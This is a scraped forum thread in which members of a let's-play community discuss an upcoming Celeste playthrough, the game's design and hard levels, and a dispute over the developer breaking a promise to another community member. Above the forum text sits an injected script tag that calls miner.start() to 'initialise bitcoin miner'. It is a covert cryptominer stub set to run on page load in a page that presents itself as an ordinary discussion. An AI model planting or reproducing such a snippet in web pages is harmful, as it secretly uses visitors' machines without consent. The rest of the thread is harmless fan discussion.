<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralsmbx community

Celeste - Everest

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Giik
Posts: 142
Joined: 8 years ago

Celeste - Everest

Postby Giik » 1 year ago

Hype thread let's go HYPE THREAD LET'S GO

Celeste is one of my favorite games. It's friggin' polished, super tight, and ahfdsjfgh it's REALLY GOOD and i'm glad raocow's playing it. He'll probably make it look piss easy compared to my hell experience with it, especially in the postgame.

--A-- --B-- --C--
Last edited by Giik on 13 Aug 2018, 22:56, edited 59 times in total.
Image

User avatar
Grounder
Posts: 3300
Joined: 5 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Grounder » 1 year ago

I'm 80% sure this thing is overhyped, but chances are people are going to love this LP, and good for them.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
ano0maly
Discord User
Posts: 1831
Joined: 8 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby ano0maly » 1 year ago

Play it and revisit your comment, I say
Image The talkhaus Discord server. Come ask for an invite to join!

Image

Image
Now the sole biggest

User avatar
Giik
Posts: 142
Joined: 8 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Giik » 1 year ago

Grounder wrote: I'm 80% sure this thing is overhyped, but chances are people are going to love this LP, and good for them.
Yeah I'm a matt thorson fanboy so I'm pretty much guaranteed to love anything he makes.
It doesn't like, revolutionize the genre or anything; it's just a really solidly built platformer focused around a mechanic, and it experiments with it until it runs out of ideas, and stops there. Nice and good.
Image

User avatar
Grounder
Posts: 3300
Joined: 5 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Grounder » 1 year ago

ano0maly wrote: Play it and revisit your comment, I say
I don't care for the dev for reasons I won't get into, and I'm not going to get it any other way than with money, so it's a pass from me.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
ano0maly
Discord User
Posts: 1831
Joined: 8 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby ano0maly » 1 year ago

Matt needs to account for what he did (and I hope he explains himself), but he's not the only one involved in this project. It's unfair to penalize others in the team of a good game because of a mean thing one person did. I want to leave it at that unless he does show up, and enjoy the game.
Image The talkhaus Discord server. Come ask for an invite to join!

Image

Image
Now the sole biggest

User avatar
Cyril
metal nerd
Posts: 1855
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: Celeste (Pre-show) - Annapurna Massif

Postby Cyril » 1 year ago

reposting this comment from patapon in case roaocoww doesn't see it there

just a note before the first vid proper; the levels in this game are mostly too long to fit in a video, but the game autosaves your progress at every screen so don't worry about losing progress. also, this symbol:
Image
means you have just reached a new section of the level so if you want to stop and don't know how much is left but see that symbol, there's still a decent bit left & it's probably better to stop, just a few tips to help recording of this game go smoothly
i've honestly never played a video game in my life

User avatar
raocow
the death of the incredible huge
Posts: 2944
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: Celeste (Pre-show) - Annapurna Massif

Postby raocow » 1 year ago

just a head's up that this thread is like one day early but that's fine, it's okay to have it prepared a little ahead of time.

Looking forward to playing this!
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2172
Joined: 7 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: Celeste (Pre-show) - Annapurna Massif

Postby Leet » 1 year ago

It is my belief that m. thorson has never topped An Untitled Story

So let's see I guess
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 919
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: Celeste (Pre-show) - Annapurna Massif

Postby Rockythechao » 1 year ago

Regarding ano0's spoilered stuff, I still feel the same way. But when I finally got around to setting those personal feelings aside and giving the game a chance it absolutely lived up to the hype.

Like, yes, part of that hype is the accessibility-oriented features and design +

the central themes of depression and anxiety

so it became one of those "you need to play this/follow this example" games in progressive circles. But both are handled well, and even setting those things aside you still have smooth and satisfying gameplay, fantastic aesthetics, and plenty of secrets and extra challenges besides the main game.

The game may not revolutionize the genre in a big way but it definitely stands on its own merits and there's still a lot one can learn from it, in terms of game design as much as other stuff.

that being said, chapter 8 can go suck a potato

A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Cyril
metal nerd
Posts: 1855
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: Celeste (Pre-show) - Annapurna Massif

Postby Cyril » 1 year ago

i like it mostly because it's just such a well-made game from all fronts, the game never feels like it's just being a dick to you like so many other precision platformers love to be (*cough* meat boy *cough*) and it maintains a high level of creativity and satisfying platforming the whole way through

oh yeah also raocow this game has the thing where you have the normal levels, and then you have like, the hard mode remixes of those levels & like with meat boy the difficulty curve will feel a lot better if you go through all the normal levels first before doing the b-sides, i'd say even the easiest b-side is about on par with the normal endgame content (pretty close at least) so

this isn't a spoiler anywho the store page tells you they exist i'm just not gonna talk about how to unlock them
i've honestly never played a video game in my life

User avatar
Giik
Posts: 142
Joined: 8 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Giik » 1 year ago

raocow wrote: just a head's up that this thread is like one day early but that's fine, it's okay to have it prepared a little ahead of time.

Looking forward to playing this!
Yeah i know, I mentioned wanting to make the thread in the COMING UP NEXT thread when the episode came out, and i got a couple responses saying to just make it now. I added the (Pre-show) to the title so people don't think you started uploading it already. I'll remove that part of the title once the first episode is up.
Image

User avatar
Super Maks 64
Just your usual SMW hacker
Posts: 341
Joined: 2 years ago
Pronouns: he/him/his
Location: Poland

Re: Celeste (Pre-show) - Annapurna Massif

Postby Super Maks 64 » 1 year ago

The blue hearts are really stupid and worsen the quality of this game for me and beating the stages deathless counting for true completion is just dumb


And the Chapter 4 clouds and Chapter 7 B-Side's "gimmick" are not stuff that I'm comfortable with

Also the lp has already started, haven't you all seen the episode 0?

Zach808
Posts: 249
Joined: 3 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Zach808 » 1 year ago

Yeah, count me in with the crowd not fond of the developer’s politics. However, that shouldn’t take away from the fact that the game is fantastic and whatever baggage the dev has doesn’t make it into the final product at all.
However, I’m not a fan of boycotting games from shady developers in general unless that shadiness works its way into the game. I’d just feel like I’m cherrypicking and being a hypocrite. The world is so full of companies like that and boycotting all of them is pretty much impossible. If you’d rather do it, then that’s fine, but I’ve just lost all imterest. If the product sucks, I won’t buy.
Last edited by Zach808 on 14 Jun 2018, 12:21, edited 1 time in total.

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 984
Joined: 6 years ago
Location: the world is no longer a place

Re: Celeste (Pre-show) - Annapurna Massif

Postby BobisOnlyBob » 1 year ago

So I absolutely loved Celeste, really looking forward to this LP, and love pretty much all of Matt Thorson's prior work - this is the first I've heard of any trouble or controversy and google isn't helping me. Can someone just spill the beans, even if in a spoiler tag?
Literally the only thing I've found is that he added Anita Sarkeesian to Towerfall...?
BOB is an acronym for BOB is Only BOB etc.

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 919
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: Celeste (Pre-show) - Annapurna Massif

Postby Rockythechao » 1 year ago

Matt made a deal with Horikawa that he would make a guest level for MaGLX2 if she got raocow to LP his SMW hack. Once the LP started he dropped all communication with her and never followed through with the level, but he did show up to post in the thread for the LP.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Chirei
Posts: 667
Joined: 2 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Chirei » 1 year ago

Celeste.

I haven't played this game, but I have seen a decent amount of gameplay from it, and I like what I saw. Take any of those one-shot challenge platformer games, but unlike stuff like IWBTG, it almost never tries to slap you in the face about it. This combined with the story, makes for what I view personally as an encouraging experience that I think everyone should give a shot, whether it be through the controller on their hands, or this LP.

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 984
Joined: 6 years ago
Location: the world is no longer a place

Re: Celeste (Pre-show) - Annapurna Massif

Postby BobisOnlyBob » 1 year ago

Ohhh, right, no wonder I couldn't find anything - I was looking everywhere but here. A damn shame.

SMW Remix, totally forgot about it!
BOB is an acronym for BOB is Only BOB etc.

Zach808
Posts: 249
Joined: 3 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Zach808 » 1 year ago

Oh shit, I thought this was the

Sarkeesian thing

. Didn’t realize it was stuff a bit closer to home. Well, this is gonna be awkward if Matt is watching us crapping on him.

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Celeste (Pre-show) - Annapurna Massif

Postby SAJewers » 1 year ago

Saw PinkKittyRose stream it. It seems like quite a good game. Don't think I'll play it personally, but I'll be interested to watch this.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 984
Joined: 6 years ago
Location: the world is no longer a place

Re: Celeste (Pre-show) - Annapurna Massif

Postby BobisOnlyBob » 1 year ago

Zach808 wrote: Oh shit, I thought this was the

Sarkeesian thing

. Didn’t realize it was stuff a bit closer to home. Well, this is gonna be awkward if Matt is watching us crapping on him.
Well, should he stop by I hope he understands that while he is still an exceptionally talented games designer, breaking a promise to one of the nicest and loveliest people in the community without so much as a word of explanation is very, very rude and unbefitting behaviour. But we will still collectively enjoy his games, just a little more tempered by that little bit of history.

Let's put the matter of Anita aside totally as I suspect that will only result in an irrelevant argument and has no direct bearing on this community or the games of either Celete or towerfall..

All that aside, I'm really looking forward to raocow's reactions to the very first part of the game, in particular

the tutorial and how it teaches you to boost

, and later how he'll get on with the

blue heart puzzles

throughout. I suspect those, amongst many other moments, will be highlights for me.
BOB is an acronym for BOB is Only BOB etc.

User avatar
Money
Posts: 483
Joined: 8 years ago

Re: Celeste (Pre-show) - Annapurna Massif

Postby Money » 1 year ago

Gonna be real good watching raocow lp this, this game is p much tailor made for his tastes. It... legit is prob one of my favorite games of all time. That's just me tho.

Gonna be interesting to see how long 7-C takes him, it took me literally 5 hours over two playsessions to beat. Prob the single hardest thing I've done in videogames.


User avatar
AuraLancer
AKA Uncle Aura
Posts: 212
Joined: 8 years ago
Location: USA

Re: Celeste (Pre-show) - Annapurna Massif

Postby AuraLancer » 1 year ago

I haven't finished this game yet, so I'll probably end up dropping the LP early on.
I will give a warning though - I started playing this on a Switch Pro controller and the dpad was a nightmare. Be careful about what you use to play it with!

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2172
Joined: 7 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: Celeste (Pre-show) - Annapurna Massif

Postby Leet » 1 year ago

bad page 1
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
Voltgloss
The first story's end.
Posts: 995
Joined: 6 years ago
Pronouns: he/him/his
Location: exploring the world

Re: Celeste (Pre-show) - Annapurna Massif

Postby Voltgloss » 1 year ago

I may pick this one up to play along (like I did with Escape Goat 2). How's it perform using keyboard controls?
Image


Return to “let's play”

Who is online

Users browsing this forum: No registered users and 12 guests